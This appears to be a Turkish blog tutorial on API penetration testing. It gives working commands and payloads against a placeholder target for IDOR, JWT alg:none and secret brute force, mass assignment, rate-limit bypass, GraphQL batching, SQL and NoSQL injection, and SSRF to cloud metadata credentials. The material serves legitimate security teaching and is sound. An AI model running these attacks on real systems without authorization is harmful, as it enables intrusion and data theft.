API Güvenlik Testi: Yaygın Açıklar ve Test Yöntemleri
Bir API’yi test etmeden production’a almak, kilidi olmayan bir kapıya “Lütfen girmeyin” yazısı yapıştırmak gibi bir şey. Yıllar içinde onlarca farklı şirkette güvenlik değerlendirmesi yaparken gördüğüm en büyük sorun şu: geliştiriciler API’yi çalışır hale getirmeye odaklanırken, güvenliği “sonra hallederiz” listesine atıyor. O “sonra” çoğu zaman hiç gelmiyor ya da bir incident sonrası çok geç geliyor.
Bu yazıda, API güvenlik testini nasıl yapacağınızı, hangi araçları kullanacağınızı ve gerçek dünyada ne tür açıklarla karşılaşabileceğinizi aktaracağım. Hem kendi sistemlerinizi test etmek için hem de bir pentest görevi yapıyorsanız işinize yarayacak pratik bilgiler bunlar.
Neden API Güvenliği Ayrı Bir Disiplin
Web uygulama güvenliğini bilen birinin API güvenliğini de bildiğini sanmak yaygın bir yanılgı. API’ler farklı saldırı yüzeyleri sunuyor. Bir web uygulamasında gözle görebileceğiniz bir form var, bir input var, bir hata mesajı var. API’lerde ise her şey JSON veya XML içinde gizli, endpoint’ler dokümante edilmemiş olabiliyor, authentication mekanizmaları çok daha karmaşık bir hal alabiliyor.
OWASP, her yıl API güvenlik risklerini ayrıca yayımlıyor. Bu listenin web uygulama listesinden farklı olması tesadüf değil. Broken Object Level Authorization, Excessive Data Exposure, Improper Assets Management gibi başlıklar API’ye özgü sorunlara işaret ediyor.
Test Ortamını Hazırlamak
Başlamadan önce bir şeyi netleştirelim: izinsiz API testi suçtur. Kendi sistemlerinizi ya da yazılı izin aldığınız sistemleri test edin. Bu yazıdaki tüm örnekler yerel test ortamlarında veya kasıtlı olarak açık bırakılmış eğitim hedeflerinde kullanılmak üzere hazırlanmıştır.
Test için ihtiyacınız olan temel araçlar:
- Burp Suite Community/Pro: HTTP trafiğini yakalamak ve manipüle etmek için
- OWASP ZAP: Açık kaynaklı alternatif, otomasyon için daha elverişli
- curl: Hızlı manuel testler için vazgeçilmez
- httpie: Daha okunabilir çıktı isteyenler için
- ffuf / wfuzz: Endpoint ve parametre fuzzing için
- jwt_tool: JWT token testleri için
- Postman / Insomnia: API akışlarını anlamak ve organize etmek için
Hızlıca bir test ortamı kurmak istiyorsanız, OWASP’ın Juice Shop veya vulnerable-graphql-api gibi intentionally vulnerable uygulamaları Docker üzerinde birkaç dakikada ayağa kalkıyor:
# OWASP Juice Shop - genel web/API açıkları için
docker run -d -p 3000:3000 bkimminich/juice-shop
# crAPI - API'ye özgü açıklar için mükemmel
git clone https://github.com/OWASP/crAPI
cd crAPI
docker-compose up -d
Keşif Aşaması: Ne Test Edeceğinizi Bilmek
En iyi pentest, sistematik keşifle başlar. API endpoint’lerini bulmak için birkaç farklı yöntem kullanıyorum.
Swagger/OpenAPI dokümantasyonu: Pek çok API, kendi dokümantasyonunu dışarıya açık bırakıyor. Şu path’leri kontrol edin:
# Yaygın dokümantasyon endpoint'leri
curl -s https://target.com/api/swagger.json
curl -s https://target.com/api/v1/docs
curl -s https://target.com/openapi.json
curl -s https://target.com/api-docs
# JavaScript dosyalarından endpoint çıkarma
curl -s https://target.com/app.js | grep -oP '(/api/[a-zA-Z0-9_/-]+)' | sort -u
Aktif fuzzing ile endpoint keşfi: Dokümantasyon bulamadığınızda veya dokümante edilmemiş endpoint’leri aramak istediğinizde:
# ffuf ile API endpoint fuzzing
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/api-endpoints.txt
-u https://target.com/api/FUZZ
-mc 200,201,204,301,302,401,403
-o endpoints.json
-of json
# HTTP method fuzzing - aynı endpoint farklı metodlarla ne döndürüyor?
for method in GET POST PUT DELETE PATCH OPTIONS HEAD; do
echo -n "$method: "
curl -s -o /dev/null -w "%{http_code}" -X $method https://target.com/api/users
echo ""
done
OWASP API Top 10: Pratikte Ne Anlama Geliyor
Broken Object Level Authorization (BOLA/IDOR)
Bu, API güvenliğindeki en yaygın ve en kritik açık. Kavram basit: bir nesneye erişim kontrolü sadece nesnenin sahibi olup olmadığınıza göre değil, sadece o nesnenin ID’sini bilip bilmediğinize göre yapılıyor.
Gerçek hayattan bir senaryo: Bir e-ticaret API’sinde /api/orders/12345 endpoint’i var. Siz kendi siparişinizi görüyorsunuz. Peki /api/orders/12346‘yı çağırdığınızda ne oluyor? Authorization kontrolü yoksa başka kullanıcının siparişini görüyorsunuz demektir.
# Basit IDOR testi - önce kendi objenizi alın, sonra ID'yi değiştirin
# İlk olarak authenticate olup kendi user ID'nizi öğrenin
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
# Kendi profiliniz
curl -H "Authorization: Bearer $TOKEN"
https://target.com/api/users/1001
# Başka kullanıcı
curl -H "Authorization: Bearer $TOKEN"
https://target.com/api/users/1002
# UUID kullanılıyorsa bile denemeye değer - sequential olmayan ID'ler
# başka endpoint'lerden sızabilir
curl -H "Authorization: Bearer $TOKEN"
https://target.com/api/documents/a1b2c3d4-e5f6-7890-abcd-ef1234567890
Otomatik IDOR testi için Burp Suite’in Intruder modülü ya da Autorize eklentisi çok işe yarıyor. Autorize, iki farklı kullanıcının token’ıyla aynı request’leri gönderip sonuçları karşılaştırıyor.
Broken Authentication ve JWT Sorunları
JWT token’ları her yerde. Ve her yerde yanlış implement edilmiş halde. En sık karşılaştığım sorunları sıralayayım:
Algorithm confusion (alg:none saldırısı): Bazı kütüphaneler alg: none değerini kabul ediyor, yani imzasız token.
# jwt_tool ile JWT analizi ve manipulation
pip3 install jwt_tool
# Token'ı decode et
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
# alg:none saldırısı dene
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... -X a
# Zayıf secret brute force
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
-C -d /usr/share/wordlists/rockyou.txt
# RS256 -> HS256 algorithm confusion
python3 jwt_tool.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...
-X k -pk public_key.pem
Token içinde güvenilmemesi gereken claim’lere güvenmek: role: admin claim’i token içinde ise ve backend bunu doğrulamadan kullanıyorsa, bu ciddi bir sorun.
Excessive Data Exposure
API çoğu zaman ihtiyaç duyulandan fazla veri döndürüyor, filtrelemeyi frontend’e bırakıyor. Bu, frontend’in göstermediği ama response içinde olan hassas verilerin sızdığı anlamına geliyor.
# Response'u güzelce formatla ve hassas alanları ara
curl -s -H "Authorization: Bearer $TOKEN"
https://target.com/api/users/me | python3 -m json.tool
# Hassas alan keyword'leri ara
curl -s -H "Authorization: Bearer $TOKEN"
https://target.com/api/users |
python3 -c "
import sys, json, re
data = json.load(sys.stdin)
text = json.dumps(data)
patterns = ['password', 'secret', 'token', 'key', 'ssn', 'card', 'cvv', 'pin']
for p in patterns:
if re.search(p, text, re.IGNORECASE):
print(f'[!] Suspicious field found: {p}')
"
Mass Assignment
Request body’deki tüm parametreleri otomatik olarak model’e atayan framework’ler bu açığa yol açıyor. Kullanıcı, normalde set etmemesi gereken alanları request’e ekleyerek değiştirebiliyor.
# Normal kayıt isteği
curl -X POST https://target.com/api/register
-H "Content-Type: application/json"
-d '{"username":"test","password":"Test1234!"}'
# Mass assignment denemesi - role, admin, verified gibi alanlar ekle
curl -X POST https://target.com/api/register
-H "Content-Type: application/json"
-d '{
"username":"attacker",
"password":"Test1234!",
"role":"admin",
"isAdmin":true,
"verified":true,
"credit":9999
}'
# Profil güncelleme endpoint'inde de dene
curl -X PUT https://target.com/api/users/me
-H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{
"email":"[email protected]",
"role":"admin",
"balance":100000
}'
Rate Limiting ve Brute Force Koruması Testi
Rate limiting yoksa veya bypasslanabiliyorsa, authentication endpoint’leri brute force saldırısına açık demektir.
# Basit rate limit testi - aynı endpoint'e hızlıca istek at
for i in {1..50}; do
response=$(curl -s -o /dev/null -w "%{http_code}"
-X POST https://target.com/api/login
-H "Content-Type: application/json"
-d '{"username":"admin","password":"wrong'$i'"}')
echo "Request $i: HTTP $response"
# 429 Too Many Requests görünce rate limit var demektir
done
# Rate limit bypass teknikleri - header manipulation
curl -X POST https://target.com/api/login
-H "Content-Type: application/json"
-H "X-Forwarded-For: 10.0.0.$((RANDOM % 254 + 1))"
-H "X-Real-IP: 192.168.1.$((RANDOM % 254 + 1))"
-d '{"username":"admin","password":"password123"}'
GraphQL API Testleri
REST API’lerin yanında GraphQL giderek yaygınlaşıyor ve kendine özgü güvenlik sorunları getiriyor.
# Introspection query - şema keşfi
curl -X POST https://target.com/graphql
-H "Content-Type: application/json"
-d '{
"query": "{ __schema { types { name fields { name } } } }"
}'
# Introspection devre dışı bırakılmışsa field suggestion'ları kullan
curl -X POST https://target.com/graphql
-H "Content-Type: application/json"
-d '{
"query": "{ user { passwordHash } }"
}'
# Batching attack - rate limit'i aşmak için
curl -X POST https://target.com/graphql
-H "Content-Type: application/json"
-d '[
{"query": "mutation { login(username:"admin", password:"pass1") { token } }"},
{"query": "mutation { login(username:"admin", password:"pass2") { token } }"},
{"query": "mutation { login(username:"admin", password:"pass3") { token } }"}
]'
# Alias ile de benzer şekilde tek request'te çoklu deneme
curl -X POST https://target.com/graphql
-H "Content-Type: application/json"
-d '{
"query": "{ a: login(u:"admin",p:"p1") b: login(u:"admin",p:"p2") }"
}'
Injection Testleri: API Bağlamında
SQL injection, NoSQL injection ve command injection API’lerde de geçerli. Fark şu: parametre, URL’de değil JSON body’sinde geziyor.
# JSON body içinde SQL injection dene
curl -X POST https://target.com/api/users/search
-H "Content-Type: application/json"
-d '{"name": "test'"'"' OR '"'"'1'"'"'='"'"'1"}'
# NoSQL injection - MongoDB için
curl -X POST https://target.com/api/login
-H "Content-Type: application/json"
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# JSON body içinde SQLi için sqlmap kullanımı
# Önce request'i bir dosyaya kaydet
cat > request.txt << 'EOF'
POST /api/users/search HTTP/1.1
Host: target.com
Content-Type: application/json
Authorization: Bearer TOKEN_HERE
{"name": "FUZZ"}
EOF
sqlmap -r request.txt
-p name
--data='{"name": "*"}'
--dbms=mysql
--level=3
--risk=2
--batch
Server-Side Request Forgery (SSRF) API Testleri
Webhook URL’i alan, dosya URL’inden import yapan veya URL parametresi işleyen API endpoint’leri SSRF için birincil hedef.
# Temel SSRF testi
curl -X POST https://target.com/api/fetch
-H "Content-Type: application/json"
-d '{"url": "http://169.254.169.254/latest/meta-data/"}'
# AWS metadata service
curl -X POST https://target.com/api/import
-H "Content-Type: application/json"
-d '{"source": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# Internal service keşfi için
curl -X POST https://target.com/api/webhook
-H "Content-Type: application/json"
-d '{"callback": "http://internal-service:8080/admin"}'
# Burp Collaborator veya interactsh ile out-of-band SSRF testi
curl -X POST https://target.com/api/fetch
-H "Content-Type: application/json"
-d '{"url": "http://BURP_COLLAB_ID.burpcollaborator.net"}'
Otomatik Tarama: Nerede İşe Yarar, Nerede Yaramaz
OWASP ZAP veya Burp Scanner gibi araçlar belirli açık kategorilerinde oldukça başarılı. Injection, XSS, güvensiz header konfigürasyonları bunların başında geliyor. Ama BOLA/IDOR gibi iş mantığı açıklarını otomatik araçlar genellikle yakalayamıyor. Bu tür açıklar ancak manuel test ve API’nin iş akışını anlamakla bulunuyor.
# ZAP ile API taraması - headless modda
docker run -t owasp/zap2docker-stable zap-api-scan.py
-t https://target.com/api/swagger.json
-f openapi
-r zap_report.html
-x zap_report.xml
# Nikto ile genel kontrol
nikto -h https://target.com -port 443 -ssl
-Plugins "headers,auth"
-output nikto_report.txt
Bulguları Raporlamak
Teknik bulguyu bulmak işin yarısı. Diğer yarısı bunu anlaşılır şekilde raporlamak. Her bulgu için şu bilgileri kaydedin:
- Başlık: Net ve kısa
- Ciddiyet: Critical/High/Medium/Low/Informational
- Etkilenen endpoint: Tam URL ve method
- Reproduksiyon adımları: Birebir takip edilebilir
- Kanıt: Request/response ekran görüntüsü veya curl çıktısı
- Etki analizi: Ne kadar veri sızdı, ne erişim sağlandı
- Tavsiye edilen düzeltme: Pratik ve uygulanabilir
Sürekli Test: CI/CD’ye Entegrasyon
Tek seferlik pentest yeterli değil. Her deployment’ta otomatik güvenlik testi çalıştırmak için pipeline’a entegrasyon şart:
#!/bin/bash
# Basit bir CI/CD API güvenlik test scripti
API_BASE="https://staging-api.yourcompany.com"
TOKEN=$(curl -s -X POST $API_BASE/auth/login
-H "Content-Type: application/json"
-d '{"username":"testuser","password":"testpass"}' |
python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
echo "[*] Testing rate limiting..."
for i in {1..20}; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}"
-X POST $API_BASE/auth/login
-d '{"username":"x","password":"x"}')
if [ "$STATUS" == "429" ]; then
echo "[+] Rate limiting active at request $i"
break
fi
if [ "$i" == "20" ]; then
echo "[!] WARNING: No rate limiting detected after 20 requests"
fi
done
echo "[*] Testing security headers..."
curl -sI $API_BASE/health | grep -E
"(X-Content-Type-Options|X-Frame-Options|Strict-Transport-Security|Content-Security-Policy)"
Sonuç
API güvenlik testi, “çalışıyor mu?” sorusundan “güvenli çalışıyor mu?” sorusuna geçişi gerektiriyor. Burada anlattıklarım bir başlangıç noktası, ama her API’nin kendi iş mantığı var ve o iş mantığındaki açıkları ancak sistemi gerçekten anladığınızda bulabiliyorsunuz.
En önemli tavsiyem şu: Güvenlik testini geliştirme sürecine erkenden dahil edin. Bir API production’a çıkmadan önce en azından temel kontrolleri yapmak, sonradan yapılan pahalı incident response çalışmalarından çok daha az maliyetli. Threat modeling oturumları, güvenli kod review’ları ve düzenli penetrasyon testleri birbirini tamamlayan katmanlar olarak düşünülmeli.
Araçlar değişiyor, framework’ler gelişiyor ama temel prensipler aynı kalıyor: input’a güvenme, her erişimi kontrol et, minimum yetki ver ve ne döndürdüğüne dikkat et. Bu dört prensip, API güvenliğinin büyük bölümünü kapsıyor.
